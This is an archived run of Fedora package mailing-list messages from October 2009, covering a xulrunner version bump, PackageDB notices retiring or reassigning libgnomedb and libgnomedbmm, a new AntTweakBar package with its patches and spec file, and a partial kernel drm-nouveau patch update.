@@ -7,7 +7,7 @@
 
 Summary:        XUL Runtime for Gecko Applications
 Name:           xulrunner
-Version:        1.9.0.14
+Version:        1.9.0.15
 Release:        1%{?dist}
 URL:            http://developer.mozilla.org/En/XULRunner
 License:        MPLv1.1 or GPLv2+ or LGPLv2+
@@ -423,6 +423,9 @@ fi
 #---------------------------------------------------------------------
 
 %changelog
+* Mon Oct 26 2009 Jan Horak <jhorak at redhat.com> - 1.9.0.15-1
+- Update to 1.9.0.15
+
 * Mon Sep  7 2009 Jan Horak <jhorak at redhat.com> - 1.9.0.14-1
 - Update to 1.9.0.14
 



From pkgdb at fedoraproject.org  Tue Oct 27 07:43:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 07:43:16 +0000
Subject: [pkgdb] libgnomedb (un)retirement
Message-ID: <20091027074316.4233910F895@bastion2.fedora.phx.redhat.com>

Package libgnomedb in Fedora devel has been retired by denis

To make changes to this package see:
  /pkgdb/packages/name/libgnomedb



From pkgdb at fedoraproject.org  Tue Oct 27 07:43:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 07:43:15 +0000
Subject: [pkgdb] libgnomedb ownership updated
Message-ID: <20091027074315.B5D2410F87F@bastion2.fedora.phx.redhat.com>

Package libgnomedb in Fedora devel is now owned by huzaifas

To make changes to this package see:
  /pkgdb/packages/name/libgnomedb



From pkgdb at fedoraproject.org  Tue Oct 27 07:43:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 07:43:28 +0000
Subject: [pkgdb] libgnomedb ownership updated
Message-ID: <20091027074328.DA40F10F87F@bastion2.fedora.phx.redhat.com>

Package libgnomedb in Fedora 12 is now owned by denis

To make changes to this package see:
  /pkgdb/packages/name/libgnomedb



From pkgdb at fedoraproject.org  Tue Oct 27 07:43:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 07:43:28 +0000
Subject: [pkgdb] libgnomedb (un)retirement
Message-ID: <20091027074328.F1BE610F895@bastion2.fedora.phx.redhat.com>

Package libgnomedb in Fedora 12 has been retired by denis

To make changes to this package see:
  /pkgdb/packages/name/libgnomedb



From pkgdb at fedoraproject.org  Tue Oct 27 07:43:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 07:43:39 +0000
Subject: [pkgdb] libgnomedbmm ownership updated
Message-ID: <20091027074339.9BC8C10F87F@bastion2.fedora.phx.redhat.com>

Package libgnomedbmm in Fedora devel was orphaned by denis

To make changes to this package see:
  /pkgdb/packages/name/libgnomedbmm



From pkgdb at fedoraproject.org  Tue Oct 27 07:43:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 07:43:39 +0000
Subject: [pkgdb] libgnomedbmm (un)retirement
Message-ID: <20091027074339.AE13A10F88B@bastion2.fedora.phx.redhat.com>

Package libgnomedbmm in Fedora devel has been retired by denis

To make changes to this package see:
  /pkgdb/packages/name/libgnomedbmm



From pkgdb at fedoraproject.org  Tue Oct 27 07:43:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 07:43:47 +0000
Subject: [pkgdb] libgnomedbmm ownership updated
Message-ID: <20091027074347.7869510F87E@bastion2.fedora.phx.redhat.com>

Package libgnomedbmm in Fedora 8 was orphaned by denis

To make changes to this package see:
  /pkgdb/packages/name/libgnomedbmm



From pkgdb at fedoraproject.org  Tue Oct 27 07:43:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 07:43:47 +0000
Subject: [pkgdb] libgnomedbmm (un)retirement
Message-ID: <20091027074347.B24DB10F880@bastion2.fedora.phx.redhat.com>

Package libgnomedbmm in Fedora 8 has been retired by denis

To make changes to this package see:
  /pkgdb/packages/name/libgnomedbmm



From pkgdb at fedoraproject.org  Tue Oct 27 07:43:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 07:43:49 +0000
Subject: [pkgdb] libgnomedbmm ownership updated
Message-ID: <20091027074349.6E42110F895@bastion2.fedora.phx.redhat.com>

Package libgnomedbmm in Fedora 9 was orphaned by denis

To make changes to this package see:
  /pkgdb/packages/name/libgnomedbmm



From pkgdb at fedoraproject.org  Tue Oct 27 07:43:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 07:43:49 +0000
Subject: [pkgdb] libgnomedbmm (un)retirement
Message-ID: <20091027074349.7B8E210F89C@bastion2.fedora.phx.redhat.com>

Package libgnomedbmm in Fedora 9 has been retired by denis

To make changes to this package see:
  /pkgdb/packages/name/libgnomedbmm



From pkgdb at fedoraproject.org  Tue Oct 27 07:43:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 07:43:51 +0000
Subject: [pkgdb] libgnomedbmm ownership updated
Message-ID: <20091027074351.BD17B10F87E@bastion2.fedora.phx.redhat.com>

Package libgnomedbmm in Fedora 10 was orphaned by denis

To make changes to this package see:
  /pkgdb/packages/name/libgnomedbmm



From pkgdb at fedoraproject.org  Tue Oct 27 07:43:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 07:43:51 +0000
Subject: [pkgdb] libgnomedbmm (un)retirement
Message-ID: <20091027074351.D577610F8A3@bastion2.fedora.phx.redhat.com>

Package libgnomedbmm in Fedora 10 has been retired by denis

To make changes to this package see:
  /pkgdb/packages/name/libgnomedbmm



From elanthis at fedoraproject.org  Tue Oct 27 07:46:25 2009
From: elanthis at fedoraproject.org (Sean Middleditch)
Date: Tue, 27 Oct 2009 07:46:25 +0000 (UTC)
Subject: rpms/AntTweakBar/F-11 AntTweakBar-fix-includes.patch, NONE,
	1.1 AntTweakBar-makefile.patch, NONE, 1.1 AntTweakBar.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091027074625.D428111C00E6@cvs1.fedora.phx.redhat.com>

Author: elanthis

Update of /cvs/pkgs/rpms/AntTweakBar/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13337

Modified Files:
	.cvsignore sources 
Added Files:
	AntTweakBar-fix-includes.patch AntTweakBar-makefile.patch 
	AntTweakBar.spec 
Log Message:
* Wed Oct 23 2009 Sean Middleditch <sean at middleditch.us> 1.13-5
- Initial commit to F-11.


AntTweakBar-fix-includes.patch:
 examples/TwAdvanced1.cpp |    4 ++++
 examples/TwString.cpp    |    4 ++++
 src/TwBar.cpp            |    4 ++++
 src/TwFonts.cpp          |    4 ++++
 src/TwMgr.cpp            |    5 +++++
 src/TwOpenGL.cpp         |    3 +++
 6 files changed, 24 insertions(+)

--- NEW FILE AntTweakBar-fix-includes.patch ---
diff -uNr AntTweakBar/examples/TwAdvanced1.cpp AntTweakBar-Fedora/examples/TwAdvanced1.cpp
--- AntTweakBar/examples/TwAdvanced1.cpp	2009-04-23 13:03:08.000000000 -0700
+++ AntTweakBar-Fedora/examples/TwAdvanced1.cpp	2009-10-21 13:32:07.142268590 -0700
@@ -30,6 +30,10 @@
 #define GLFW_DLL // use GLFW as a dynamically linked library
 #include "glfw.h"
 
+// Fedora patch: missing includes
+#include <cstdlib>
+#include <cstdio>
+
 #include <cmath>
 #include <iostream>
 #if !defined(_WIN32) && !defined(_WIN64)
diff -uNr AntTweakBar/examples/TwString.cpp AntTweakBar-Fedora/examples/TwString.cpp
--- AntTweakBar/examples/TwString.cpp	2009-04-23 13:03:08.000000000 -0700
+++ AntTweakBar-Fedora/examples/TwString.cpp	2009-10-21 13:32:51.538505701 -0700
@@ -27,6 +27,10 @@
 #   define _snprintf snprintf
 #endif
 
+// Fedora patch: missing includes
+#include <cstdio>
+#include <cstring>
+#include <cstdlib>
 
 // ---------------------------------------------------------------------------
 // 1) Callback functions for std::string variables
diff -uNr AntTweakBar/src/TwBar.cpp AntTweakBar-Fedora/src/TwBar.cpp
--- AntTweakBar/src/TwBar.cpp	2009-04-23 13:03:08.000000000 -0700
+++ AntTweakBar-Fedora/src/TwBar.cpp	2009-10-21 11:11:14.164153448 -0700
@@ -15,6 +15,10 @@
 #include "TwMgr.h"
 #include "TwBar.h"
 #include "TwColors.h"
+
+// Fedora patch: memset(), free(), and friends
+#include <cstring>
+#include <cstdlib>
   
 using namespace std;
 
diff -uNr AntTweakBar/src/TwFonts.cpp AntTweakBar-Fedora/src/TwFonts.cpp
--- AntTweakBar/src/TwFonts.cpp	2009-04-23 13:03:08.000000000 -0700
+++ AntTweakBar-Fedora/src/TwFonts.cpp	2009-10-21 11:10:27.427520003 -0700
@@ -14,6 +14,10 @@
 #include "TwMgr.h"
 #include "TwFonts.h"
 
+// Fedora patch: memset()
+#include <cstring>
+using std::memset;
+
 
 //  ---------------------------------------------------------------------------
 
diff -uNr AntTweakBar/src/TwMgr.cpp AntTweakBar-Fedora/src/TwMgr.cpp
--- AntTweakBar/src/TwMgr.cpp	2009-04-23 13:03:08.000000000 -0700
+++ AntTweakBar-Fedora/src/TwMgr.cpp	2009-10-21 11:18:54.890146180 -0700
@@ -28,6 +28,11 @@
 #if !defined(ANT_WINDOWS)
 #   define _snprintf snprintf
 #endif  // defined(ANT_WINDOWS)
+
+// Fedora patch: include fix
+#include <cstring>
+#include <cstdlib>
+#include <cmath>
 
 
 using namespace std;
diff -uNr AntTweakBar/src/TwOpenGL.cpp AntTweakBar-Fedora/src/TwOpenGL.cpp
--- AntTweakBar/src/TwOpenGL.cpp	2009-04-23 13:03:08.000000000 -0700
+++ AntTweakBar-Fedora/src/TwOpenGL.cpp	2009-10-21 11:10:07.041520158 -0700
@@ -15,6 +15,9 @@
 #include "TwOpenGL.h"
 #include "TwMgr.h"
 
+// Fedora patch: memset()
+#include <cstring>
+
 using namespace std;
 
 const char *g_ErrCantLoadOGL    = "Cannot load OpenGL library dynamically";

AntTweakBar-makefile.patch:
 Makefile |   13 +++++++++----
 1 file changed, 9 insertions(+), 4 deletions(-)

--- NEW FILE AntTweakBar-makefile.patch ---
--- AntTweakBar/src/Makefile	2009-04-23 13:03:08.000000000 -0700
+++ AntTweakBar-Fedora/src/Makefile	2009-10-21 13:13:35.007138035 -0700
@@ -5,15 +5,20 @@
 #SO_EXT		= .dll
 #---- LINUX
 SO_EXT		= .so
+SO_VERSION	= 0
 
 #---- Release
-CXXCFG   	= -O3
-LFLAGS		= -Wl,-s
-OUT_DIR		= ../lib
+#CXXCFG   	= -O3
+#LFLAGS		= -Wl,-s
+#OUT_DIR		= ../lib
 #---- Debug
 #CXXCFG   	= -g -D_DEBUG
 #LFLAGS		= 
 #OUT_DIR	= ../lib/debug
+#---- Fedora Build
+CXXCFG   	= $(FEDORA_CXXFLAGS)
+LFLAGS		= 
+OUT_DIR		= ../lib
 
 
 CXX      	= gcc
@@ -67,7 +72,7 @@
 
 $(TARGET): $(OBJS)
 	@echo "===== Link $@ ====="
-	$(LINK) $(LFLAGS) -shared -Wl,-soname,lib$(TARGET)$(SO_EXT)  -o $(OUT_DIR)/lib$(TARGET)$(SO_EXT) $(OBJS) $(LIBS)
+	$(LINK) $(LFLAGS) -shared -Wl,-soname,lib$(TARGET)$(SO_EXT).$(SO_VERSION)  -o $(OUT_DIR)/lib$(TARGET)$(SO_EXT) $(OBJS) $(LIBS)
 
 .cpp.o:
 	@echo "===== Compile $< ====="


--- NEW FILE AntTweakBar.spec ---
Name:		AntTweakBar
Version:	1.13
Release:	5%{?dist}
Summary:	GUI library for videogame property editing UIs

Group:		Applications/Internet
License:	zlib
URL:		http://www.antisphere.com/Wiki/tools:anttweakbar
Source0:	http://www.antisphere.com/Tools/AntTweakBar/AntTweakBar_113.zip
BuildRoot:  %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires: mesa-libGL-devel
BuildRequires: mesa-libGLU-devel
BuildRequires: libX11-devel
BuildRequires: xorg-x11-proto-devel

# upstream has missing includes for standard libc functions
# patch sent to upstream author via email.
Patch0:		AntTweakBar-fix-includes.patch

# allow overriding CXXFLAGS with Fedora preferred build options,
# and attach a proper soname to the shared library generated.
# patch sent to upstream author via email.
Patch1:		AntTweakBar-makefile.patch

# DOS mode file in upstream source makes this necessary
%global _default_patch_fuzz 2

%description
Library for easily creating and using tweakable properties in an OpenGL
or SDL application, designed primarily for professional game developers.

%package devel
Summary: Header files for AntTweakBar
Group: Development/Libraries
Requires: %{name} = %{version}-%{release}

%description devel
Header files for developing applications making use of AntTweakBar.

%prep
%setup -q -n AntTweakBar
%patch0 -p1
%patch1 -p1

# fix encoding in license file
iconv --from=iso-8859-1 --to=utf8 ./License.txt > ./License.txt.utf8
touch -r ./License.txt ./License.txt.utf8
mv ./License.txt.utf8 ./License.txt

# fix DOS newlines in one of our examples
sed "s|\r||g" ./examples/TwSimpleGLUT.c > ./TwSimpleGLUT.c
touch -r ./examples/TwSimpleGLUT.c ./TwSimpleGLUT.c
mv ./TwSimpleGLUT.c ./examples/TwSimpleGLUT.c

# fix file permissions (unzip makes everything executable)
# not doing this causes spurious executable bit warnings in
# rpmlint on the debuginfo package and on the doc files
find Readme.txt License.txt src examples include -type f -print0 | xargs -0 chmod 0644

%build
cd src
make %{?_smp_mflags} FEDORA_CXXFLAGS="%{optflags}"

%install
rm -rf "%{buildroot}"
install -m 644 -D include/AntTweakBar.h "%{buildroot}/%{_includedir}/AntTweakBar.h"
install -m 755 -D lib/libAntTweakBar.so "%{buildroot}/%{_libdir}/libAntTweakBar.so.0.0.0"
ln -s "%{_libdir}/libAntTweakBar.so.0.0.0" "%{buildroot}/%{_libdir}/libAntTweakBar.so.0"
ln -s "%{_libdir}/libAntTweakBar.so.0.0.0" "%{buildroot}/%{_libdir}/libAntTweakBar.so"

%clean
rm -rf "%{buildroot}"

%files
%defattr(-,root,root,-)
%doc Readme.txt
%doc License.txt
%{_libdir}/libAntTweakBar.so.0.0.0
%{_libdir}/libAntTweakBar.so.0

%files devel
%defattr(-,root,root,-)
%{_includedir}/*
%{_libdir}/libAntTweakBar.so
%doc examples/TwAdvanced1.cpp
%doc examples/TwSimpleGLFW.c
%doc examples/TwSimpleGLUT.c
%doc examples/TwSimpleSDL.c
%doc examples/TwString.cpp

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%changelog
* Wed Oct 23 2009 Sean Middleditch <sean at middleditch.us> 1.13-5
- Correct accidental macro expansion in changelog text.

* Wed Oct 23 2009 Sean Middleditch <sean at middleditch.us> 1.13-4
- Use %%global instead of %%define.
- Note that patches have been sent to upstream.

* Wed Oct 23 2009 Sean Middleditch <sean at middleditch.us> 1.13-3
- Preserve timestamp on License.txt.
- Renamed patches to comply with naming policy.
- Included Linux-relevant examples in documentation for -devel package.

* Wed Oct 22 2009 Sean Middleditch <sean at middleditch.us> 1.13-2
- Fix shared library soname and ld links.

* Wed Oct 21 2009 Sean Middleditch <sean at middleditch.us> 1.13-1
- Initial RPM release.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/AntTweakBar/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	26 Oct 2009 20:15:06 -0000	1.1
+++ .cvsignore	27 Oct 2009 07:46:24 -0000	1.2
@@ -0,0 +1 @@
+AntTweakBar_113.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/AntTweakBar/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	26 Oct 2009 20:15:06 -0000	1.1
+++ sources	27 Oct 2009 07:46:24 -0000	1.2
@@ -0,0 +1 @@
+2c02dd71d0f86c62f022eed7e0bcb5b8  AntTweakBar_113.zip



From bskeggs at fedoraproject.org  Tue Oct 27 07:54:47 2009
From: bskeggs at fedoraproject.org (Ben Skeggs)
Date: Tue, 27 Oct 2009 07:54:47 +0000 (UTC)
Subject: rpms/kernel/F-12 drm-nouveau.patch, 1.64, 1.65 kernel.spec, 1.1885, 
	1.1886
Message-ID: <20091027075447.3661911C00E6@cvs1.fedora.phx.redhat.com>

Author: bskeggs

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15258

Modified Files:
	drm-nouveau.patch kernel.spec 
Log Message:
* Tue Oct 27 2009 Ben Skeggs <bskeggs at redhat.com>
- drm-nouveau.patch: misc fixes, very initial NVA8 work



drm-nouveau.patch:
 drivers/gpu/drm/Kconfig                     |   56 
 drivers/gpu/drm/Makefile                    |    2 
 drivers/gpu/drm/i2c/Makefile                |    4 
 drivers/gpu/drm/i2c/ch7006_drv.c            |  531 
 drivers/gpu/drm/i2c/ch7006_mode.c           |  473 
 drivers/gpu/drm/i2c/ch7006_priv.h           |  344 
 drivers/gpu/drm/nouveau/Makefile            |   29 
 drivers/gpu/drm/nouveau/nouveau_acpi.c      |  125 
 drivers/gpu/drm/nouveau/nouveau_backlight.c |  155 
 drivers/gpu/drm/nouveau/nouveau_bios.c      | 5713 ++++++
 drivers/gpu/drm/nouveau/nouveau_bios.h      |  236 
 drivers/gpu/drm/nouveau/nouveau_bo.c        |  633 
 drivers/gpu/drm/nouveau/nouveau_calc.c      |  626 
 drivers/gpu/drm/nouveau/nouveau_channel.c   |  464 
 drivers/gpu/drm/nouveau/nouveau_connector.c |  811 
 drivers/gpu/drm/nouveau/nouveau_connector.h |   55 
 drivers/gpu/drm/nouveau/nouveau_crtc.h      |   95 
 drivers/gpu/drm/nouveau/nouveau_debugfs.c   |  155 
 drivers/gpu/drm/nouveau/nouveau_display.c   |  115 
 drivers/gpu/drm/nouveau/nouveau_dma.c       |  206 
 drivers/gpu/drm/nouveau/nouveau_dma.h       |  151 
 drivers/gpu/drm/nouveau/nouveau_drv.c       |  413 
 drivers/gpu/drm/nouveau/nouveau_drv.h       | 1283 +
 drivers/gpu/drm/nouveau/nouveau_encoder.h   |   66 
 drivers/gpu/drm/nouveau/nouveau_fb.h        |   47 
 drivers/gpu/drm/nouveau/nouveau_fbcon.c     |  381 
 drivers/gpu/drm/nouveau/nouveau_fbcon.h     |   49 
 drivers/gpu/drm/nouveau/nouveau_fence.c     |  262 
 drivers/gpu/drm/nouveau/nouveau_gem.c       |  964 +
 drivers/gpu/drm/nouveau/nouveau_hw.c        | 1078 +
 drivers/gpu/drm/nouveau/nouveau_hw.h        |  448 
 drivers/gpu/drm/nouveau/nouveau_i2c.c       |  256 
 drivers/gpu/drm/nouveau/nouveau_i2c.h       |   45 
 drivers/gpu/drm/nouveau/nouveau_ioc32.c     |   72 
 drivers/gpu/drm/nouveau/nouveau_irq.c       |  696 
 drivers/gpu/drm/nouveau/nouveau_mem.c       |  575 
 drivers/gpu/drm/nouveau/nouveau_notifier.c  |  195 
 drivers/gpu/drm/nouveau/nouveau_object.c    | 1294 +
 drivers/gpu/drm/nouveau/nouveau_reg.h       |  788 
 drivers/gpu/drm/nouveau/nouveau_sgdma.c     |  321 
 drivers/gpu/drm/nouveau/nouveau_state.c     |  872 +
 drivers/gpu/drm/nouveau/nouveau_swmthd.h    |   33 
 drivers/gpu/drm/nouveau/nouveau_ttm.c       |  131 
 drivers/gpu/drm/nouveau/nv04_crtc.c         |  995 +
 drivers/gpu/drm/nouveau/nv04_cursor.c       |   70 
 drivers/gpu/drm/nouveau/nv04_dac.c          |  529 
 drivers/gpu/drm/nouveau/nv04_dfp.c          |  621 
 drivers/gpu/drm/nouveau/nv04_display.c      |  293 
 drivers/gpu/drm/nouveau/nv04_fb.c           |   21 
 drivers/gpu/drm/nouveau/nv04_fbcon.c        |  316 
 drivers/gpu/drm/nouveau/nv04_fifo.c         |  271 
 drivers/gpu/drm/nouveau/nv04_graph.c        |  579 
 drivers/gpu/drm/nouveau/nv04_instmem.c      |  210 
 drivers/gpu/drm/nouveau/nv04_mc.c           |   20 
 drivers/gpu/drm/nouveau/nv04_timer.c        |   51 
 drivers/gpu/drm/nouveau/nv04_tv.c           |  305 
 drivers/gpu/drm/nouveau/nv10_fb.c           |   24 
 drivers/gpu/drm/nouveau/nv10_fifo.c         |  260 
 drivers/gpu/drm/nouveau/nv10_graph.c        |  891 +
 drivers/gpu/drm/nouveau/nv17_tv.c           |  689 
 drivers/gpu/drm/nouveau/nv17_tv.h           |  156 
 drivers/gpu/drm/nouveau/nv17_tv_modes.c     |  583 
 drivers/gpu/drm/nouveau/nv20_graph.c        |  778 
 drivers/gpu/drm/nouveau/nv40_fb.c           |   62 
 drivers/gpu/drm/nouveau/nv40_fifo.c         |  314 
 drivers/gpu/drm/nouveau/nv40_graph.c        | 2239 ++
 drivers/gpu/drm/nouveau/nv40_mc.c           |   38 
 drivers/gpu/drm/nouveau/nv50_crtc.c         |  784 
 drivers/gpu/drm/nouveau/nv50_cursor.c       |  151 
 drivers/gpu/drm/nouveau/nv50_dac.c          |  295 
 drivers/gpu/drm/nouveau/nv50_display.c      |  902 +
 drivers/gpu/drm/nouveau/nv50_display.h      |   46 
 drivers/gpu/drm/nouveau/nv50_evo.h          |  113 
 drivers/gpu/drm/nouveau/nv50_fbcon.c        |  273 
 drivers/gpu/drm/nouveau/nv50_fifo.c         |  493 
 drivers/gpu/drm/nouveau/nv50_graph.c        |  473 
 drivers/gpu/drm/nouveau/nv50_grctx.h        |23991 ++++++++++++++++++++++++++++
 drivers/gpu/drm/nouveau/nv50_instmem.c      |  508 
 drivers/gpu/drm/nouveau/nv50_mc.c           |   40 
 drivers/gpu/drm/nouveau/nv50_sor.c          |  254 
 drivers/gpu/drm/nouveau/nvreg.h             |  535 
 drivers/gpu/drm/ttm/ttm_bo.c                |    4 
 include/drm/Kbuild                          |    1 
 include/drm/i2c/ch7006.h                    |   86 
 include/drm/nouveau_drm.h                   |  216 
 85 files changed, 60728 insertions(+)

Index: drm-nouveau.patch
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/drm-nouveau.patch,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- drm-nouveau.patch	16 Oct 2009 03:47:50 -0000	1.64
+++ drm-nouveau.patch	27 Oct 2009 07:54:44 -0000	1.65
@@ -1777,10 +1777,10 @@ index 0000000..20564f8
 +}
 diff --git a/drivers/gpu/drm/nouveau/nouveau_bios.c b/drivers/gpu/drm/nouveau/nouveau_bios.c
 new file mode 100644
-index 0000000..1c13f5f
+index 0000000..c3b091f
 --- /dev/null
 +++ b/drivers/gpu/drm/nouveau/nouveau_bios.c
-@@ -0,0 +1,5709 @@
+@@ -0,0 +1,5713 @@
 +/*
 + * Copyright 2005-2006 Erik Waling
 + * Copyright 2006 Stephane Marchesin
@@ -7452,13 +7452,17 @@ index 0000000..1c13f5f
 +	bios->execute = false;
 +
 +	/* ... unless card isn't POSTed already */
-+	if (dev_priv->card_type == NV_50) {
-+		if (NVReadVgaCrtc(dev, 0, 0x00) == 0 &&
-+		    NVReadVgaCrtc(dev, 0, 0x1a) == 0) {
-+			NV_INFO(dev, "Adaptor not initialised, "
-+				     "running VBIOS init tables\n");
-+			bios->execute = true;
++	if (dev_priv->card_type >= NV_10 &&
++	    NVReadVgaCrtc(dev, 0, 0x00) == 0 &&
++	    NVReadVgaCrtc(dev, 0, 0x1a) == 0) {
++		NV_INFO(dev, "Adaptor not initialised\n");
++		if (dev_priv->card_type < NV_50) {
++			NV_ERROR(dev, "Unable to POST this chipset\n");
++			return -ENODEV;
 +		}
++
++		NV_INFO(dev, "Running VBIOS init tables\n");
++		bios->execute = true;
 +	}
 +
 +	bios_wr32(bios, NV_PEXTDEV_BOOT_0, saved_nv_pextdev_boot_0);
@@ -7734,10 +7738,10 @@ index 0000000..1ffda97
 +#endif
 diff --git a/drivers/gpu/drm/nouveau/nouveau_bo.c b/drivers/gpu/drm/nouveau/nouveau_bo.c
 new file mode 100644
-index 0000000..639d24b
+index 0000000..01293ab
 --- /dev/null
 +++ b/drivers/gpu/drm/nouveau/nouveau_bo.c
-@@ -0,0 +1,620 @@
+@@ -0,0 +1,633 @@
 +/*
 + * Copyright 2007 Dave Airlied
 + * All Rights Reserved.
@@ -7814,7 +7818,7 @@ index 0000000..639d24b
 +		flags |= TTM_PL_FLAG_PRIV0;
 +
 +	/*
-+	 * Some of the tile_flags have a periodic structure of 24*4096 bytes,
++	 * Some of the tile_flags have a periodic structure of N*4096 bytes,
 +	 * align to to that as well as the page size. Overallocate memory to
 +	 * avoid corruption of other buffer objects.
 +	 */
@@ -7823,8 +7827,21 @@ index 0000000..639d24b
 +	case 0x2800:
 +	case 0x4800:
 +	case 0x7a00:
-+		size += 6 * 4096;
-+		align = 2 * 24 * 4096;
++		if (dev_priv->chipset >= 0xA0) {
++			/* This is guesswork.*/
++			size += 6 * 4096;
++			/* Guesswork as well, therefore not in units of 4096. */
++			align = 2 * 65536;
++		} else if (dev_priv->chipset >= 0x90) {
++			size += 4 * 4096;
++			/* Somewhat useless being smaller than a page. */
++			align = 8 * 4096;
++		} else {
++			size += 6 * 4096;
++			/* 24 * 4096 is the actual alignment requirement,
++			 * but we must also align to page size. */
++			align = 2 * 24 * 4096;
++		}
 +		break;
 +	default:
 +		break;
@@ -13635,10 +13652,10 @@ index 0000000..0cff7eb
 +
 diff --git a/drivers/gpu/drm/nouveau/nouveau_gem.c b/drivers/gpu/drm/nouveau/nouveau_gem.c
 new file mode 100644
-index 0000000..b508a35
+index 0000000..65da3fa
 --- /dev/null
 +++ b/drivers/gpu/drm/nouveau/nouveau_gem.c
-@@ -0,0 +1,954 @@
+@@ -0,0 +1,964 @@
 +/*
 + * Copyright (C) 2008 Ben Skeggs.
 + * All Rights Reserved.
@@ -13975,7 +13992,17 @@ index 0000000..b508a35
 +
 +		if (unlikely(atomic_read(&nvbo->bo.cpu_writers) > 0)) {
 +			nouveau_gem_pushbuf_backoff(list);
++
++			if (nvbo->cpu_filp == file_priv) {
++				NV_ERROR(dev, "bo %p mapped by process trying "
++					      "to validate it!\n", nvbo);
++				ret = -EINVAL;
++				goto out_unref;
++			}
++
 +			ret = ttm_bo_wait_cpu(&nvbo->bo, false);
++			if (ret == -ERESTART)
++				ret = -EAGAIN;
 +			if (ret)
 +				goto out_unref;
 +			goto retry;
@@ -17226,10 +17253,10 @@ index 0000000..597007a
 +}
 diff --git a/drivers/gpu/drm/nouveau/nouveau_mem.c b/drivers/gpu/drm/nouveau/nouveau_mem.c
 new file mode 100644
-index 0000000..147c18f
+index 0000000..9d2037a
 --- /dev/null
 +++ b/drivers/gpu/drm/nouveau/nouveau_mem.c
-@@ -0,0 +1,572 @@
+@@ -0,0 +1,575 @@
 +/*
 + * Copyright (C) The Weather Channel, Inc.  2002.  All Rights Reserved.
 + * Copyright 2005 Stephane Marchesin
@@ -17747,6 +17774,7 @@ index 0000000..147c18f
 +
 +	/* non-mappable vram */
 +	dev_priv->fb_available_size = nouveau_mem_fb_amount(dev);
++	NV_INFO(dev, "%d MiB VRAM\n", (int)(dev_priv->fb_available_size >> 20));
 +	dev_priv->fb_available_size -= dev_priv->ramin_rsvd_vram;
 +	vram_size = dev_priv->fb_available_size >> PAGE_SHIFT;
 +	bar1_size = drm_get_resource_len(dev, 1) >> PAGE_SHIFT;
@@ -17788,8 +17816,10 @@ index 0000000..147c18f
 +									ret);
 +	}
 +
++	NV_INFO(dev, "%d MiB GART (aperture)\n",
++		(int)(dev_priv->gart_info.aper_size >> 20));
 +	ret = ttm_bo_init_mm(bdev, TTM_PL_TT, 0,
-+				dev_priv->gart_info.aper_size >> PAGE_SHIFT);
++			     dev_priv->gart_info.aper_size >> PAGE_SHIFT);
 +	if (ret) {
 +		NV_ERROR(dev, "Failed TT mm init: %d\n", ret);
 +		return ret;
@@ -18005,7 +18035,7 @@ index 0000000..1791dea
 +}
 diff --git a/drivers/gpu/drm/nouveau/nouveau_object.c b/drivers/gpu/drm/nouveau/nouveau_object.c
 new file mode 100644
-index 0000000..9bc7abd
+index 0000000..93379bb
 --- /dev/null
 +++ b/drivers/gpu/drm/nouveau/nouveau_object.c
 @@ -0,0 +1,1294 @@
@@ -18380,7 +18410,7 @@ index 0000000..9bc7abd
 +		return -EINVAL;
 +	}
 +
-+	if (gpuobj->flags & NVOBJ_FLAG_ZERO_FREE) {
++	if (gpuobj->im_pramin && (gpuobj->flags & NVOBJ_FLAG_ZERO_FREE)) {
 +		engine->instmem.prepare_access(dev, true);
 +		for (i = 0; i < gpuobj->im_pramin->size; i += 4)
 +			nv_wo32(dev, gpuobj, i/4, 0);
@@ -35044,10 +35074,10 @@ index 0000000..c2396a6
 +
 diff --git a/drivers/gpu/drm/nouveau/nv50_graph.c b/drivers/gpu/drm/nouveau/nv50_graph.c
 new file mode 100644
-index 0000000..93a4b66
+index 0000000..06ce5b9
 --- /dev/null
 +++ b/drivers/gpu/drm/nouveau/nv50_graph.c
-@@ -0,0 +1,465 @@
+@@ -0,0 +1,473 @@
 +/*
 + * Copyright (C) 2007 Ben Skeggs.
 + * All Rights Reserved.
@@ -35161,6 +35191,9 @@ index 0000000..93a4b66
 +	case 0xa0:
 +		voodoo = nva0_ctxprog;
 +		break;
++	case 0xa8:
++		voodoo = nva8_ctxprog;
++		break;
 +	case 0xaa:
 +		voodoo = nvaa_ctxprog;
 +		break;
@@ -35306,6 +35339,9 @@ index 0000000..93a4b66
 +	case 0xa0:
 +		ctxvals = nva0_ctxvals;
 +		break;
++	case 0xa8:
++		ctxvals = nva8_ctxvals;
++		break;
 +	case 0xaa:
 +		ctxvals = nvaa_ctxvals;
 +		break;
@@ -35508,17 +35544,19 @@ index 0000000..93a4b66
 +	{ 0x0030, false, NULL }, /* null */
